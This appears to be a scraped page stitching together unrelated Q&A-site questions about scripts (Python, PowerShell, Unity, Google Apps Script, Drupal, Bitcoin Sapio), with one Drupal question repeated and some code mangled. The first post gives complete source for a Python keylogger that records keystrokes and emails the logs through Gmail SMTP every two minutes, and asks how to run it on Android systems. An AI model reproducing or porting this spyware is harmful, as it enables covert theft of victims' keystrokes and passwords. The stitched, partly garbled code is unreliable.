keyloggers – Using python scripts in Android

I made a key-logger using python. I Want to upload and run it on android systems. Is there any way I can do so?

Here is my code for the first file:

#!/usr/bin/env python
import pynput.keyboard
import threading
import smtplib

class Keylogger:
    def __init__(self, time_interval, email, password):
        self.log = "Keylogger Strarted ... n"
        self.interval = time_interval
        self.email = email
        self.password = password

    def append_to_log(self, string):
        self.log = self.log + string

    def process_key_press (self, key):
        try:
            current_key = str(key.char)
        except AttributeError:
            if key == key.space:
                current_key = " "
            else:
                current_key = " " + str(key) + " "
        self.append_to_log(current_key)

    def report(self):
        self.send_mail(self.email, self.password, "nn" + self.log)
        self.log = ""
        timer = threading.Timer(self.interval, self.report)
        timer.start()

    def send_mail (self, email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()
    
    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()

The second file:

#!/usr/bin/env python
import keylogger

my_keylogger = keylogger.Keylogger(120, "example@gmail.com", "password.pass")
my_keylogger.start()

The second file calls the code (class Key-logger) and then executes it. It is running fine on windows or Linux but I want to use it in Android as well. Please help me.

miniscript – Is there anything specific to the design of the Sapio language that makes it well suited to writing covenant scripts?

I think I understand at a high level the goals of both CheckTemplateVerify (CTV, BIP 119) and the Sapio language.

Is there anything specific to the design of the Sapio language that makes it well suited to writing covenant scripts? Other than being a high level language like Minsc that eventually compiles down to Miniscript?

To use Sapio for CTV scripts, both Miniscript and Script have to support CTV. So is there a test environment (e.g. signet or sidechain) where CTV is enabled for both Miniscript and Script?

Include more servers in Powershell scripts

I m new to Powershell and I need guidance on this Powershell scripts below. I m working in multi tenant environment. I need to execute a scripts on 15 servers and every servers have around 20 databases. This scripts help me a lot to execute a scripts in all database and output the results for every single database. I need to include more servers in $instancelist but when I add more servers it does not work. I need help to include more servers and this scripts must execute in all servers in $instancelist and the the output file must have server name, currently the output file have $path name, database name.log, it must have server name if I m able to include more servers.

One more thing, can I include BCP in this powershell scripts to output the results since it will come out with millions of rows

$InstanceList = "DESKTOP-6U9IKQD"
$filepath = "C:b1script1.sql"
$path = "C:b1jack"

$databases = invoke-sqlcmd -ServerInstance $InstanceList -Database "master" -Query "select name from sys.databases where name like 'adventureworks%'"

foreach ($database in $databases)
{
    $DBname = $database.name
    # Outputs one file per database
    $outfile = $path + "."+$database.name+".log"
    #Execute scripts
    Invoke-Sqlcmd -ServerInstance ${InstanceList} -Database $database.name -InputFIle 
 $filepath | out-file -filepath $outfile
$database.name
}

unity – How should I make and use a method for changing the camera(transform) position and angle at run time from any script/s?

The script is attached to a Camera. A bit messed but it’s working.

For changing the camera height at run time I’m using a variable name cameraHeight at this line number 88:

Vector3 negDistance = new Vector3(0.0f, cameraHeight, -distanceFromTarget);

The original line was :

Vector3 negDistance = new Vector3(0.0f, 0.0f, -distanceFromTarget);

but if instead, I want to create a public method something like :

public void ChangeCameraAngle()
{

}

What should I do inside this method and then how to use it for things like changing the camera(transform) height or angle in run time?

using System.Collections;
using System.Collections.Generic;
using UnityEngine;

public class CameraController : MonoBehaviour
{
    public Transform targetToRotateAround;

    public bool saveDuringPlay = false;

    public float distanceFromTarget = 5.0f;
    private float oldDistanceFromTarget;

    public float xSpeed = 120.0f;
    public float ySpeed = 120.0f;
    private float oldxSpeed, oldySpeed;

    public float yMinLimit = -20f;
    public float yMaxLimit = 80f;
    private float oldyMinLimit, oldyMaxLimit;

    public float distanceMin = .5f;
    public float distanceMax = 15f;
    private float oldDistanceMin, oldDistanceMax;

    public float cameraHeight;
    private float oldCameraHeight;

    public bool makeTransition = false;

    private Rigidbody rigidbody;
    private float x = 0.0f;
    private float y = 0.0f;

    // Use this for initialization
    void Start()
    {
        Vector3 angles = transform.eulerAngles;
        x = angles.y;
        y = angles.x;

        rigidbody = GetComponent<Rigidbody>();

        // Make the rigid body not change rotation
        if (rigidbody != null)
        {
            rigidbody.freezeRotation = true;
        }

        LoadSettings();
    }

    private void Update()
    {
        if (saveDuringPlay)
        {
            SaveDuringPlay();

            oldDistanceFromTarget = distanceFromTarget;
            oldxSpeed = xSpeed;
            oldySpeed = ySpeed;
            oldyMinLimit = yMinLimit;
            oldyMaxLimit = yMaxLimit;
            oldDistanceMin = distanceMin;
            oldDistanceMax = distanceMax;
            oldCameraHeight = cameraHeight;
        }
    }

    void LateUpdate()
    {
        if (targetToRotateAround)
        {
            x += Input.GetAxis("Mouse X") * xSpeed * distanceFromTarget * 0.02f;
            y -= Input.GetAxis("Mouse Y") * ySpeed * 0.02f;

            y = ClampAngle(y, yMinLimit, yMaxLimit);

            Quaternion rotation = Quaternion.Euler(y, x, 0);

            distanceFromTarget = Mathf.Clamp(distanceFromTarget - Input.GetAxis("Mouse ScrollWheel") * 5, distanceMin, distanceMax);

            RaycastHit hit;
            if (Physics.Linecast(targetToRotateAround.position, transform.position, out hit))
            {
                distanceFromTarget -= hit.distance;
            }
            Vector3 negDistance = new Vector3(0.0f, cameraHeight, -distanceFromTarget);
            Vector3 position = rotation * negDistance + targetToRotateAround.position;

            transform.rotation = rotation;
            transform.position = position;
        }
    }

    public static float ClampAngle(float angle, float min, float max)
    {
        if (angle < -360F)
            angle += 360F;
        if (angle > 360F)
            angle -= 360F;
        return Mathf.Clamp(angle, min, max);
    }

    public void SaveDuringPlay()
    {
        PlayerPrefs.SetFloat("DistanceFromTarget", distanceFromTarget);
        PlayerPrefs.SetFloat("xSpeed", xSpeed);
        PlayerPrefs.SetFloat("ySpeed", ySpeed);
        PlayerPrefs.SetFloat("yMinLimit", yMinLimit);
        PlayerPrefs.SetFloat("yMaxLimit", yMaxLimit);
        PlayerPrefs.SetFloat("DistanceMin", distanceMin);
        PlayerPrefs.SetFloat("DistanceMax", distanceMax);
        PlayerPrefs.SetFloat("CameraHeight", cameraHeight);
        PlayerPrefs.SetInt("MakeTransition", boolToInt(makeTransition));
    }

    public void LoadSettings()
    {
        distanceFromTarget = PlayerPrefs.GetFloat("DistanceFromTarget");
        oldDistanceFromTarget = distanceFromTarget;

        xSpeed = PlayerPrefs.GetFloat("xSpeed");
        oldxSpeed = xSpeed;
        ySpeed = PlayerPrefs.GetFloat("ySpeed");
        oldySpeed = xSpeed;

        yMinLimit = PlayerPrefs.GetFloat("yMinLimit");
        oldyMinLimit = yMinLimit;
        yMaxLimit = PlayerPrefs.GetFloat("yMaxLimit");
        oldyMaxLimit = yMaxLimit;

        distanceMin = PlayerPrefs.GetFloat("DistanceMin");
        oldDistanceMin = distanceMin;
        distanceMax = PlayerPrefs.GetFloat("DistanceMax");
        oldDistanceMax = distanceMax;

        cameraHeight = PlayerPrefs.GetFloat("CameraHeight");
        oldCameraHeight = cameraHeight;

        makeTransition = intToBool(PlayerPrefs.GetInt("MakeTransition", 0));
    }

    int boolToInt(bool val)
    {
        if (val)
            return 1;
        else
            return 0;
    }

    bool intToBool(int val)
    {
        if (val != 0)
            return true;
        else
            return false;
    }
}

bash scripting – Is it normal for shell scripts to contain binary data?

It’s normal-ish; such a file is often called a ‘sharball’ (shell script + tarball). It’s a way to send files (the tarball) and the method for extracting and manipulating them (the shell script) together in a single easily distributed file.

As to whether it’s safe to run, that’s a question you should ask with any shell script you’re asked to run, not just those with binary content. It boils down largely to trust in the distributor of the file.

Boolean communication between sheets and google scripts

I am trying to add a timestamp when a particular cell returns TRUE. With help from this community, I was able to modify the code below. It works perfectly if I type in TRUE. However, when a formula’s result returns TRUE, it does not work. I must be doing something wrong. Thanks in advance! here is the code:

 function onEdit() {
 var s = SpreadsheetApp.getActiveSheet();
 if( s.getName() == "Campaign" ) { //checks that we're on the correct sheet
 var r = s.getActiveCell();

 if( r.getColumn() == 17 ) { //checks the column 
        var nextCell = r.offset(0, 10);
  if( r.getValue() === true)
    nextCell.setValue(new Date()).setNumberFormat('MM/dd/yyyy');
  }
  }
  }

Page Speed Insight suggests that I remove unused JavaScript, but those scripts are needed for the pages to work

I deferred all my scripts in this way

<script defer src="https://mywebsite/javascript/jquery-3.1.1.min.js" >

but Page Speed Insights wants me to remove them. I cannot remove them. The Report Link
enter image description here

Is there a solution for this problem?

firebase – The scripts do not load and do not change scene

I am testing firebase is a simple program made in unity. The program if I load it in pc format and from unity itself it works, but if I change it to mobile format, it does not load any script or change scene, so it gets stuck in the first scene.
The unity does not give me any failure and I have synchronized the names and addresses well (I think) with firebase.
I attach the apk and a zip with the program for pc.
https://drive.google.com/file/d/1mhVrcYDGN-fM5znbvY74udKNDssKKMQm/view?usp=sharing

8 – How can I disable all the JavaScript scripts?

I am trying to disable all the JavaScript on all the pages of a Drupal 8 site for anonymous users if there is a particular header in the request object.

I tried out this code.

/**
 * Implements hook_js_alter().
 */
function MODULE_js_alter(&$javascript, AttachedAssetsInterface $assets) {
  if (MODULE_get_headers()) {
    unset($javascript);
  }
}
/**
 * Implements hook_page_attachments_alter().
 */
function MODULE_page_attachments_alter(&$attachments) {
  // This is for disabling all 3rd party libraries. 
  if (MODULE_get_headers()) {
    $attachments('#attached')('library') = ();
  }
}

It does seem to work to a certain extent. It disables most of JavaScript, but I am seeing the styles are also off (which might be expected) as the CSS libraries might also be removed.

Is there a better way to do this? Maybe Drupal has an option to turn off all the JavaScript.

How to disable all the Javascript scripts on a Drupal 8 site?

I am trying to disable all the Javascript on all the pages of a Drupal 8 site for anonymous users if there is a particular header in the Request object.

I had tried out the following methods.

/**
 * Implements hook_js_alter().
 */
function MODULE_js_alter(&$javascript, AttachedAssetsInterface $assets) {
  if (MODULE_get_headers()) {
    unset($javascript);
  }
}

/**
 * Implements hook_page_attachments_alter().
 */
function wsf_disable_js_page_attachments_alter(&$attachments) {
  // This is for disabling all 3rd party libraries. 
  if (MODULE_get_headers()) {
    $attachments('#attached')('library') = ();
  }
}

It does seem to work to a certain extent and disables most of the Javascript, but I am seeing the styles are also off (which might be expected) as the CSS libraries might also be removed.

I wanted to know if there is a better way to do it. Maybe Drupal has an option to turn off all JS.